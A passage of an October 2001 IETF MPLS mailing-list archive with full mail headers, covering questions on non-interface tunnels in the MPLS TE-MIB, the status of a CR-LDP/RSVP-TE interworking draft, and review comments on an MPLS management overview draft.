> the old next-hop with the old ERO is broken behavior.
> 
> -- David
> 


From owner-mpls@UU.NET  Wed Oct 10 03:42:59 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA06015
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 03:42:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkck02923;
	Wed, 10 Oct 2001 07:42:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkck03566
	for mpls-outgoing; Wed, 10 Oct 2001 07:42:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkck03559
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 07:42:11 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkck25861
	for <mpls@uu.net>; Wed, 10 Oct 2001 07:41:59 GMT
Received: from galileo5.galileo.co.il by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: pop3.galileo.co.il [199.203.130.130])
	id QQlkck02226
	for <mpls@uu.net>; Wed, 10 Oct 2001 07:42:12 GMT
Received: from galileo.co.il ([10.2.2.21])
	by galileo.co.il (8.8.5/8.8.5) with ESMTP id JAA11681
	for <mpls@uu.net>; Wed, 10 Oct 2001 09:41:00 +0200 (GMT-2)
Message-ID: <3BC3FB9B.8F20B006@galileo.co.il>
Date: Wed, 10 Oct 2001 09:41:15 +0200
From: Kiril Shulga <kiril@galileo.co.il>
X-Mailer: Mozilla 4.74 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: MPLS Tunnel interface
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi!
I've few questions related to MPLS TE-MIB:

In which purpose it's created tunnel that isn't interface
(mplsTunnelIsIf = FALSE)?
How redirect traffic to such tunnel?

Thanks in advance,
Kiril




From owner-mpls@UU.NET  Wed Oct 10 04:37:14 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA06665
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 04:37:14 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkco25307;
	Wed, 10 Oct 2001 08:36:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkco25941
	for mpls-outgoing; Wed, 10 Oct 2001 08:36:17 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkco25934
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 08:36:15 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkco20593
	for <mpls@UU.NET>; Wed, 10 Oct 2001 08:35:49 GMT
Received: from multitech.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQlkco17759
	for <mpls@UU.NET>; Wed, 10 Oct 2001 08:35:40 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9A8Ztc27541;
	Wed, 10 Oct 2001 14:05:55 +0530
Message-ID: <000e01c15167$533d6b60$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: <adithya@sasken.com>, <mpls@UU.NET>, <mpls-ops@mplsrc.com>
References: <3B9AF966.D07625AD@sasken.com>
Subject: Re: Interworking of CR-LDP with RSVP-TE 
Date: Wed, 10 Oct 2001 14:11:14 +0530
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello,
       I have seen the old version of the draft about interworking CR-LDP
with RSVP-TE
       and it had called for inclusion of a lot of extra TLV's and protocol
recognition parameters
       wonder if it suffices.But can anybody let me know if there are any
amendments to that draft
       or has it been removed ?
       Thanks in Advance,
       Abhay
----- Original Message -----
From: Adithya Bhat <adithya@sasken.com>
To: <mpls@UU.NET>; <mpls-ops@mplsrc.com>
Sent: Sunday, September 09, 2001 10:38 AM
Subject: Interworking of CR-LDP with RSVP-TE


> Hi *,
>
> Is there any work in progress on the
> draft-wright-mpls-er-interwork-00.txt ?
> This version of the draft seemed to have expired on sept 2000.
> Is there any new version of this draft ? or is there any other draft
> that addresses
> the issue of Interworking of CR-LDP with RSVP-TE ?
>
> Thanks and Regards,
>
> -Adithya
>
>



From owner-mpls@UU.NET  Wed Oct 10 04:41:00 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA06682
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 04:40:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkco25138;
	Wed, 10 Oct 2001 08:40:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkco26252
	for mpls-outgoing; Wed, 10 Oct 2001 08:40:17 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkco26245
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 08:40:13 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkco27925
	for <mpls@UU.NET>; Wed, 10 Oct 2001 08:39:43 GMT
Received: from multitech.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQlkco00476
	for <mpls@UU.NET>; Wed, 10 Oct 2001 08:39:56 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9A8eJc27712;
	Wed, 10 Oct 2001 14:10:19 +0530
Message-ID: <001f01c15167$f00dc480$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: "Kiril Shulga" <kiril@galileo.co.il>, <mpls@UU.NET>
References: <3BC3FB9B.8F20B006@galileo.co.il>
Subject: Re: MPLS Tunnel interface
Date: Wed, 10 Oct 2001 14:15:39 +0530
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Kiril,
        You create tunnels which are not interfaces if you are going to have
a router management running with
         various IGP's running and they can attach the tunnel for a
destination at runtime based on decision.
         Tunnels which are interfaces have an extra registration with the
Interfaces MIB.Which implies that they can
         be used in routing calculations,where the tunnel is the next hop.
         Hope this helps
         Regards,
         Abhay
----- Original Message -----
From: Kiril Shulga <kiril@galileo.co.il>
To: <mpls@UU.NET>
Sent: Wednesday, October 10, 2001 1:11 PM
Subject: MPLS Tunnel interface


> Hi!
> I've few questions related to MPLS TE-MIB:
>
> In which purpose it's created tunnel that isn't interface
> (mplsTunnelIsIf = FALSE)?
> How redirect traffic to such tunnel?
>
> Thanks in advance,
> Kiril
>



From owner-mpls@UU.NET  Wed Oct 10 04:48:59 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA06738
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 04:48:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkcp07195;
	Wed, 10 Oct 2001 08:48:14 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkcp27113
	for mpls-outgoing; Wed, 10 Oct 2001 08:47:53 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkcp27106
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 08:47:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkcp15608
	for <mpls@UU.NET>; Wed, 10 Oct 2001 08:46:51 GMT
Received: from samar.sasken.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQlkcp11468
	for <mpls@UU.NET>; Wed, 10 Oct 2001 08:46:58 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f9A8kPR01480;
	Wed, 10 Oct 2001 14:16:25 +0530 (IST)
Received: from sasken.com (pcsvb197.sasken.com [10.1.66.197])
	by sunsv2.sasken.com (8.9.3/8.9.3) with ESMTP id OAA00433;
	Wed, 10 Oct 2001 14:16:23 +0530 (IST)
Message-ID: <3BC40A3E.829F1ED6@sasken.com>
Date: Wed, 10 Oct 2001 14:13:43 +0530
From: Adithya Bhat <adithya@sasken.com>
Reply-To: adithya@sasken.com
Organization: Sasken
X-Mailer: Mozilla 4.74 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "mpls@UU.NET" <mpls@UU.NET>, "mpls-ops@mplsrc.com" <mpls-ops@mplsrc.com>
Subject: Interworking of CR-LDP with RSVP-TE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi *,

Is there any work in progress on the
draft-wright-mpls-er-interwork-00.txt ?
This version of the draft seemed to have expired on sept 2000.
Is there any new version of this draft ? or is there any other
draft that addresses the issue of Interworking of CR-LDP with RSVP-TE ?

Thanks and Regards,

-Adithya



From owner-mpls@UU.NET  Wed Oct 10 05:15:13 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07105
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 05:15:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkcq11976;
	Wed, 10 Oct 2001 09:06:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkcq16165
	for mpls-outgoing; Wed, 10 Oct 2001 09:06:17 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkcq16146
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 09:06:15 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkcq00541
	for <mpls@UU.NET>; Wed, 10 Oct 2001 09:06:05 GMT
Received: from galileo5.galileo.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: pop3.galileo.co.il [199.203.130.130])
	id QQlkcq02681
	for <mpls@UU.NET>; Wed, 10 Oct 2001 09:05:57 GMT
Received: from galileo.co.il ([10.2.2.21])
	by galileo.co.il (8.8.5/8.8.5) with ESMTP id LAA15210;
	Wed, 10 Oct 2001 11:05:00 +0200 (GMT-2)
Message-ID: <3BC40F4A.FB5C224A@galileo.co.il>
Date: Wed, 10 Oct 2001 11:05:14 +0200
From: Kiril Shulga <kiril@galileo.co.il>
X-Mailer: Mozilla 4.74 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: abhay <abhay@multitech.co.in>
CC: mpls@UU.NET
Subject: Re: MPLS Tunnel interface
References: <3BC3FB9B.8F20B006@galileo.co.il> <001f01c15167$f00dc480$dff2fea9@abhay>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Abhay,

The questions are below:

abhay wrote:

> Kiril,
>         You create tunnels which are not interfaces if you are going to have
> a router management running with
>          various IGP's running and they can attach the tunnel for a
> destination at runtime based on decision.

Attaching tunnel means defining ifIndex for it? That is non-interface tunnel
turns to tunnel which is interface?

>          Tunnels which are interfaces have an extra registration with the
> Interfaces MIB.Which implies that they can
>          be used in routing calculations,where the tunnel is the next hop.
>          Hope this helps
>          Regards,
>          Abhay
> ----- Original Message -----
> From: Kiril Shulga <kiril@galileo.co.il>
> To: <mpls@UU.NET>
> Sent: Wednesday, October 10, 2001 1:11 PM
> Subject: MPLS Tunnel interface
>
> > Hi!
> > I've few questions related to MPLS TE-MIB:
> >
> > In which purpose it's created tunnel that isn't interface
> > (mplsTunnelIsIf = FALSE)?
> > How redirect traffic to such tunnel?
> >
> > Thanks in advance,
> > Kiril
> >

Regards,
Kiril




From owner-mpls@UU.NET  Wed Oct 10 09:48:38 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10349
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 09:48:38 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdj24356;
	Wed, 10 Oct 2001 13:46:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdj21747
	for mpls-outgoing; Wed, 10 Oct 2001 13:46:17 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkdj21741
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 13:46:13 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdj20556
	for <mpls@uu.net>; Wed, 10 Oct 2001 13:46:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdj27741
	for <mpls@uu.net>; Wed, 10 Oct 2001 13:46:16 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA15700 for <mpls@uu.net>; Wed, 10 Oct 2001 09:46:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA01258 for mpls@uu.net; Wed, 10 Oct 2001 09:46:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkdj21606
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 13:45:24 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdi13071
	for <mpls@uu.net>; Wed, 10 Oct 2001 13:44:58 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdj26070
	for <mpls@uu.net>; Wed, 10 Oct 2001 13:45:11 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA15525; Wed, 10 Oct 2001 09:44:56 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAS29197;
	Wed, 10 Oct 2001 09:44:52 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011010094303.01a2f4a0@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 10 Oct 2001 09:45:58 -0400
To: "manis@futsoft.com" <manis@futsoft.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: MPLS Management Overview Draft
Cc: "afarrel@movaz.com" <afarrel@movaz.com>,
        Cheenu Srinivasan <cheenu@alphion.com>, "mpls@uu.net" <mpls@UU.NET>
In-Reply-To: <01C150D2.71992260.manis@futsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 02:55 PM 10/9/2001 -0700, S.Manikantan wrote:
>Hello
>
>I have the following comments :) Editorial types.. Hope
>it helps.
>
>1)
>Section 1- Introduction
>...
>Multi-Protocol Label Switching (MPLS) [MPLSArch]
>                                                          ^^^^^^^^^^^^^^
>There reference as MPLSArch can be changed to RFC3031.
>(This comment applicable in section 2, Section 4.2 also).

         Yes, thanks.

>2)
>Section 2 - Terminology
>...
>Here the various MPLS-related MIBs are mentioned and
>their relation is explained in section 4.
>
>Section 4.7 deals with PPVPN-MPLS-VPN-MIB.
>  - Do we need to add this MIB reference too ?

         Yes.

>3)
>In section 2, Cross reference for LDPMIB mentioned in this section
>needs to be added section 8 "references"
>
>4)
>In Section 4.2 we have a reference MPLSFW. Is this MPLS
>Framework? Reference needs to be added in the Section 8
>references.

         This should be just for RFC3031. I will fix it.

>5)
>In Section 4.3 we have
>"The MPLS-LDP-MIB describes managed objects used to model
>and manage the Multiprotocol Label Switching Label Distribution
>  Protocol (LDP)." - Can RFC 3036 be added here as reference
>and added in section 8 "references" too.
>
>We can add cross reference to the LDPMIB too.

         Sure.

>6)
>In Section 4.3.1 we have"
>Forward Equivalency Class (FEC) entries in the LDP MIBEs xxxx table ()
>  are mapped to LSPs by pointing to an entry in mplsXCTable
>  in the MPLS-LSR-MIB."

         Yes.


>Is the xxxx table -  "mplsLdpSesXCMapTable"?. This can be updated.
>
>7) "MIBEs" is present at couple of places - this should be MIBs?

         Typo.


>8)
>In Section 4.7  we have a reference VPNMIB. - this reference needs
>to be added in section 8 - references

         Yes.


>9)
>In Section 5.2 we have "... described above in section"..
>- Should this be ".. described above in section 4.7" ?

         Thanks much for the review. I will make sure that these
fixes get into the next revision of the draft.

         --Tom



>with best regards
>mani
>(S.Manikantan)
>
>
>
>
>
>  >         Hi,
>  >
>  >         During the MPLS meeting in London, Bert W. had requested that
>  > I type up a draft providing an overview view of how all of the 
> MPLS-related
>  > MIBs fit together. The initial version of this draft is now available
>  > here:
>  >
>  >
> 
 > >http://search.ietf.org/internet-drafts/draft-nadeau-mpls-mgmt-overview-00.txt
>  >
>  >         The co-authors and I welcome your comments on this draft.
>  >
>  >         As a point of order, should the MPLS WG accept this draft
>  > as a working group document right away?  This document doesn't
>  > satisfy a specific WG work item, but it was asked for directly
>  > by one of the WG's ADs.
>  >
>  >         --Tom
>  >



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 



From owner-mpls@UU.NET  Wed Oct 10 09:52:14 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10375
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 09:52:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdj28974;
	Wed, 10 Oct 2001 13:49:33 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdj21885
	for mpls-outgoing; Wed, 10 Oct 2001 13:48:58 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkdj21878
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 13:48:54 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdj29311
	for <mpls@uu.net>; Wed, 10 Oct 2001 13:48:09 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdj00954
	for <mpls@uu.net>; Wed, 10 Oct 2001 13:48:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA15947 for <mpls@uu.net>; Wed, 10 Oct 2001 09:48:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA01336 for mpls@uu.net; Wed, 10 Oct 2001 09:48:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkdj21795
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 13:47:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdj27469
	for <mpls@UU.NET>; Wed, 10 Oct 2001 13:46:24 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdj28331
	for <mpls@UU.NET>; Wed, 10 Oct 2001 13:46:38 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA15737; Wed, 10 Oct 2001 09:46:22 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAS29219;
	Wed, 10 Oct 2001 09:46:20 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011010094619.01a30a80@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 10 Oct 2001 09:47:26 -0400
To: Irfan Lateef <ilateef@vill.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: MPLS Management Overview Draft
Cc: Adrian Farrel <afarrel@movaz.com>, mpls@UU.NET,
        Cheenu Srinivasan <cheenu@alphion.com>
In-Reply-To: <3BC3726E.CC7423D9@vill.com>
References: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com>
 <3BC3417D.D7AF748A@vill.com>
 <01c301c150f2$1729af00$681810ac@movaz.com>
 <4.3.2.7.2.20011009162718.019ed090@bucket.cisco.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_1626078==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_1626078==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed



>I am referring RFC 1850 OSPF v2 MIB to explain the relationship
>(or the lack) of this MIB with TE MIB and Bundling MIB.
>It is not clear to me sometimes how a TE link or bundled link would 
>reflect in
>the OSPF-MIB.

         TE link parameters are expressed in the link bundling MIB.
We can add a reference to it in the dependencies subsection
for the LMP MIB.

         --Tom



>Irfan Lateef
>
>Thomas Nadeau wrote:
>>
>>         Hi,
>>
>>>I am referring to the examples in
>>>sec.8 of TE-MIB
>>>sec.8 of Bundling MIB
>>>sec.8 of GMPLS TE MIB(Actually you left this MIB out in your draft?)
>>>sec.6 of FTN MIB
>>>sec.8 of LMP MIB
>>>sec.8 of LSR MIB
>>>sec.11 of VPN MIB
>>>
>>>I think just copying may not be sufficient, but as Adrian said, we may 
>>>have to make
>>>this (appear!) as a one huge working example together.
>>
>>
>>         We (myself and co-authors of each of the MIBs you
>>referred to) have tried to make the examples in those MIBs
>>sufficiently cross-referenced, and sufficiently detailed. I think that
>>we should make those examples fully detailed in their native
>>documents. It was however, my recollection that the goal and intent of
>>this document was to show how things fit together at a high level, and
>>not delve too much into the details. The point was to make
>>this document a good starting point for developers and operators.
>> From here they could go to the specific drafts for more details.
>>
>>>My other suggestion which I missed was to include the GMPLS related MIBs
>>>and the OSPF MIB.
>>
>>
>>         Which OSPF MIB?
>>
>>>Adrian,
>>>As you said, such an example will be hugely useful, only if "timely" 
>>>delivered. I
>>>have no clue about Tom's book, it may be a good reference for later use, 
>>>but for now the
>>>examples will help the people who are running with his drafts.
>>
>>
>>         The book issue is irrelevant here. Lets focus on what it takes
>>to have a sufficient and succinct MPLS MIB overview document.
>>
>>         --Tom
>>
>>
>>
>>
>>>Regards,
>>>Irfan Lateef
>>>
>>>Thomas Nadeau wrote:
>>>
>>> > >This was a much needed effort. Just one feedback.
>>> > >You have examples in all the other draft MIBs. It will
>>> > >be good if you can add those examples in this draft and
>>> > >adjust the values of the attributes to show the linkages.
>>> > >Just a thought.
>>> >
>>> >          Do you mean copy the examples out of the other
>>> > drafts and put them in here as part of one large example?
>>> >
>>> >          --Tom
>>>
>>>Adrian Farrel wrote:
>>>
>>> > Irfan,
>>> >
>>> > The existing MIBs contain worked examples that include all of the
>>> > cross-references between MIBs.
>>> > It is generally not good practice to include this sort of material in 
>>> two places
>>> > and it would be an editorial nightmare.
>>> >
>>> > I can well believe that a full worked example of how to make all of 
>>> the MIBs in
>>> > a system hang together in detail would be hugely useful.  I don't 
>>> believe,
>>> > however, that this should live in an Internet Draft.  You may find this
>>> > information in Tom's book when it is published (that'll be $10 
>>> please, Tom) or
>>> > more likely get it as a tutorial from your software vendor.
>>> >
>>> > We will, however, look at beefing up the 'dependencies' sections to 
>>> describe the
>>> > abstract references between the MIBs to make it still clearer how 
>>> they relate to
>>> > each other.
>>> >
>>> > Regards,
>>> > Adrian
>>> > --
>>> > Adrian Farrel
>>> > Movaz Networks Inc.
>>> > Tel: 703-847-1867
>>> > afarrel@movaz.com
>>> > ----- Original Message -----
>>> > > Tom,
>>> > >
>>> > > This was a much needed effort. Just one feedback.
>>> > > You have examples in all the other draft MIBs. It will
>>> > > be good if you can add those examples in this draft and
>>> > > adjust the values of the attributes to show the linkages.
>>> > > Just a thought.
>>> > > Regards,
>>> > > Irfan Lateef
>>> > >
>>>
>>>--
>>>Irfan Lateef
>>>Village Networks Inc,
>>
>>
>> 
>>------------------------------------------------------------------------Mathematics 
>>is the supreme nostalgia of our time.
>
>--
>Irfan Lateef
>Village Networks Inc,
>



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_1626078==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<br>
<br>
<blockquote type=cite cite>I am referring RFC 1850 OSPF v2 MIB to explain
the relationship <br>
(or the lack) of this MIB with TE MIB and Bundling MIB. <br>
It is not clear to me sometimes how a TE link or bundled link would
reflect in <br>
the OSPF-MIB. </blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>TE link
parameters are expressed in the link bundling MIB.&nbsp; <br>
We can add a reference to it in the dependencies subsection<br>
for the LMP MIB.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<blockquote type=cite cite>Irfan Lateef <br>
<br>
Thomas Nadeau wrote: <br>
<blockquote type=cite cite>&nbsp; <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Hi, <br>
&nbsp; <br>
<blockquote type=cite cite>I am referring to the examples in <br>
sec.8 of TE-MIB <br>
sec.8 of Bundling MIB <br>
sec.8 of GMPLS TE MIB(Actually you left this MIB out in your draft?)
<br>
